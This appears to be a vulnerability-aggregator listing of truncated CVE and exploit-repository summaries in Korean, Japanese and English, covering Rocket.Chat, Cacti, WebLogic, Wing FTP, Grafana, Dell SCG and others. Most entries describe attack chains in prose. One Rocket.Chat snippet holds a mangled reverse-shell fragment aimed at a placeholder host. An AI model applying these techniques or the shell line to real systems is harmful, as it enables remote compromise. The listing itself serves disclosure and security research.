CVE-2026-61410

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Missing Authorization vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to remote execution. This vulnerabili...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE 즉석 설명 Rocket.Chat 3.12.1의 사전 인증pre-auth NoSQL 인젝션 취약점을 악용하여 관리자의 TOTP 비밀키와 비밀번호 재설정 토큰을 유출하고, 관리자 계정을 탈취한 뒤 악성 웹훅 통합을 통해 RCE를 달성합니다. 영향받는 버전 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 인자...

CVE-2021-2109

설명 Oracle Fusion Middleware의 Oracle WebLogic Server 제품구성 요소: Console에서 취약점이 발견되었습니다. 영향을 받는 지원 버전은 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0입니다. 이 취약점은 쉽게 악용될 수 있으며, 네트워크 접근이 가능하고 높은 권한을 가진 공격자가 HTTP를 통해 Oracle WebLogic Server를 손상시킬 수 있습니다. 이 취약점의 성공적인 공격은 Oracle WebLogic Server...

CVE-2023-38408

OpenSSH 취약점 - CVE-2023-38408 📚 소개 OpenSSH9.3p2 버전 이전에서 취약점이 발견되었습니다. OpenSSH의 ssh-agent에 있는 PKCS11 기능은 검색 경로가 충분히 신뢰할 수 없어, 에이전트가 공격자가 제어하는 시스템으로 포워딩되는 경우 원격 코드 실행이 가능합니다/usr/lib의 코드가 ssh-agent에 로드되기에 반드시 안전하지는 않음. 이 결함으로 인해 서버에서 포워딩된 에이전트 소켓을 제어하고 클라이언트 호스트의 파일 시스템에 쓰기 권한이 있는 공격자가 ssh-agent를 실행하...

CVE-2026-61409

Dell Secure Connect Gateway (SCG) 5.0 Application, in versions prior to 5.36.00.00 , is affected by an OS Command Injection vulnerability (Improper Neutralization of Special Elements). An unauthenticated attacker with remote network access could potentially exploit this flaw to achieve remote cod...

EUVD-2026-72361

Dell Secure Connect Gateway SCG 5.0 Application, versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading t...

CVE-2026-61409

Dell Secure Connect Gateway SCG 5.0 Application, versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading t...

CVE-2022-24734

CVE-2022-24734 の PoC MyBB の管理画面の「設定 - 新しい設定を追加」で RCE が取得可能です。ユーザーは設定の追加または更新権限を持っている必要があります。これは MyBB 1.8.29 でテストされています。 出典: https://github.com/mybb/mybb/ https://vulners.com/cve/CVE-2022-24734...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 인증되지 않은 명령어 주입. 인증 우회 인증을 우회하려면 X-Forwarded-For 헤더를 추가하십시오. 단, 그 값은 고정된 값이 아닙니다. 무차별 대입 Burp Intruder를 사용하여 hostid와 localdataids의 값을 퍼즈 테스트합니다. 원격 코드 실행 RCE 명령어 주입 지점은 pollerid 매개변수입니다...

CVE-2021-22911

CVE-2021-22911 인증 전 블라인드 NoSQL 인젝션으로 인한 Rocket Chat 3.12.1의 원격 코드 실행 getPasswordPolicy 메서드는 NoSQL 인젝션 공격에 취약하며 인증/권한 부여가 필요하지 않습니다. 비밀번호 재설정 토큰을 유출하여 계정을 탈취하는 데 사용될 수 있습니다. 관리자 계정을 탈취하면 원격 코드 실행으로 이어집니다. 설명 1. 사용자 계정 탈취 인증되지 않음 비밀번호 재설정 token 매개변수의 getPasswordPolicy 엔드포인트에 NoSQL 인젝션이 존재하며, $regex...

CVE-2021-25641-Proof-of-Concept

The 0xDABB of Doom - CVE-2021-25641-Proof-of-Concept 신뢰할 수 없는 데이터의 역직렬화를 통한 CVE-2021-25641 RCE를 위한 Apache/Alibaba Dubbo = 2.7.3 PoC 코드; 다양한 가젯으로 = 2.7.6 버전에 영향 Checkmarx 블로그에 게시된 "The 0xDABB of Doom" 기사에서 심층적으로 다루어졌습니다 https://www.checkmarx.com/blog/technical-blog/the-0xdabb-of-doom-cve-2021-2564...

CVE-2026-45447

🚨 CVE-2026-45447 - 치명적인 OpenSSL Use-After-Free 취약점 PKCS7verify의 힙 사용 후 해제Use-After-Free로 인해 메모리 손상, 충돌 및 잠재적인 원격 코드 실행이 발생할 수 있습니다. 📖 요약 CVE-2026-45447 은 OpenSSL의 PKCS7 검증 기능 에서 발생하는 치명적인 취약점입니다. 이 결함은 PKCS7verify 코드 경로에 존재하며, 비정상적인 ASN.1 구조를 포함하는 특수하게 조작된 PKCS7 또는 S/MIME 서명 메시지를 통해 실행될 수 있습니다...

asa_tools

Cisco ASA RCE 検証 このスクリプトは、CVE-2016-1287 の存在を確認するために使用できます。 実行には python3 と python の hexdump モジュールのインストールが必要です。 root@kitploit: $ sudo pip3 install hexdump 以下のように実行できます。 root@kitploit: python3 cisco-asa.py IP.IP.IP.IP:port...

CVE-2017-10271

CVE-2017-10271 사용법: CVE-2017-12149.py http://targetip:port/ WEBLOGIC RCE는 Windows에서만 작동합니다. Linux를 위해 코드를 약간 수정할 수 있습니다...

CVE-2025-47812-poc

CVE-2025-47812 Wing FTP Server 원격 코드 실행 RCE 익스플로잇 CVE-2025-47812 📌 크레딧 : 취약점 발견: Julien @MrTuxracer. 이 PoC 구현은 그들의 원본 연구를 기반으로 합니다. 이 저장소는 Wing FTP Server 원격 코드 실행 RCE 취약점 CVE-2025-47812 에 대한 Python 익스플로잇을 호스팅합니다. 이 심각한 결함으로 인해 공격자는 익명 접근이 활성화된 경우에도 영향을 받는 Wing FTP Server 인스턴스에서 root/SYSTEM 권한으로 ...

CVE-2017-5645

CVE-2017-5645 CVE-2017-5645 - Apache Log4j RCE 안전하지 않은 역직렬화로 인한...

CVE-2025-30406

CVE-2025-30406 ViewState Exploit PoC 개요 이것은 ASP.NET 애플리케이션의 CVE-2025-30406 취약점을 대상으로 하는 ViewState 역직렬화deserialization 익스플로잇을 시연하는 개념 증명PoC 스크립트입니다. ysoserial을 사용하여 악성 ViewState 페이로드를 생성하고, 사용자가 지정한 URL로 전송하여 제공된 명령을 실행합니다. 최상의 결과를 위해 명령 출력은 VPS에서 실행 중인 커스텀 HTTP 서버server.py로 유출exfiltration될 수 있으며,...

CVE-2021-3129_exploit

CVE-2021-3129익스플로잇 CVE-2021-3129용 익스플로잇 실험실 설정: root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve 사용법: root@kitploit: $ git clone...

CVE-2026-6433

CVE-2026-6433 — 개념 증명 FlipperCode — 커스텀 CSS, JS 및 PHP · 인증되지 않은 SQL 인젝션 → RCE eval을 통해 영향 받는 버전: FlipperCode 커스텀 CSS, JS 및 PHP ≤ 2.0.7 · WordPress 플러그인의 공격 표면 admin-ajax.php를 통해 한눈에 보기...

CVE-2024-9264

CVE-2024-9264 Grafana 인증 후 DuckDB SQL 인젝션 RCE, 파일 읽기 개념 증명 PoC 이 PoC는 CVE-2024-9264의 악용을 시연하며, 인증된 사용자가 DuckDB SQL 쿼리를 수행하여 파일시스템의 임의 파일을 읽거나 원격으로 임의 코드를 실행할 수 있음을 보여줍니다. 임의 코드 실행은 Grafana v11.0.0에서만 가능합니다. 파일 읽기는 모든 취약한 버전에서 가능합니다. 설정: 다음을 통해 필요한 종속성을 설치합니다: root@kitploit: pip install -r...